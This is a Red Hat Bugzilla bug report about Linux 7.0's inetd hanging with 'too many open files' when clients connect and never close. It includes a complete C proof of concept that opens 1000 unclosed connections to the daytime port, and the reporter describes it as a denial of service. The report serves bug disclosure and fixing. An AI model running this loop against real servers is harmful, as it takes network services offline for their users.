Bug 26899
| Summary: | daytime (and other services) will kill inetd if connecting socket does not close | ||
|---|---|---|---|
| Product: | [Retired] Red Hat Linux | Reporter: | David Morgan <dmorgan> |
| Component: | inetd | Assignee: | Trond Eivind Glomsrxd <teg> |
| Status: | CLOSED DUPLICATE | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | 7.0 | Keywords: | Security |
| Target Milestone: | --- | ||
| Target Release: | --- | ||
| Hardware: | i386 | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2001-02-10 14:12:23 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
From Bugzilla Helper: User-Agent: Mozilla/4.7 [en] (WinNT; I) Using a simple program that loops and does a connect() call to a port under inetd's control without a close() will make inetd stop responding saying Too many open files Reproducible: Always Steps to Reproduce: Compile the following program after changing SOMEHOSTNAME #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/param.h> #include <string.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> main() { int i,s; struct sockaddr_in sin; struct hostent *hent; memset(&sin, 0, sizeof sin); sin.sin_family = AF_INET; sin.sin_port = htons(13); hent = gethostbyname("SOMEHOSTNAME"); memcpy(&sin.sin_addr, hent->h_addr, hent->h_length); for (i = 0; i < 1000; i++) { printf("%d\n", i); s = socket(AF_INET, SOCK_STREAM, 0); connect (s, &sin, sizeof sin); } } Change the entry in the inetd.conf so the nowait is set to nowait.1000 Actual Results: In the log messages will appear: inetd[XXX]: accept (for daytime): Too many files open Expected Results: Inetd should not fill up its table and stop network services running. This may be a limitation in TCP/IP but I am not sure This causes a denial of service attack on RedHat boxes running inetd and xinetd.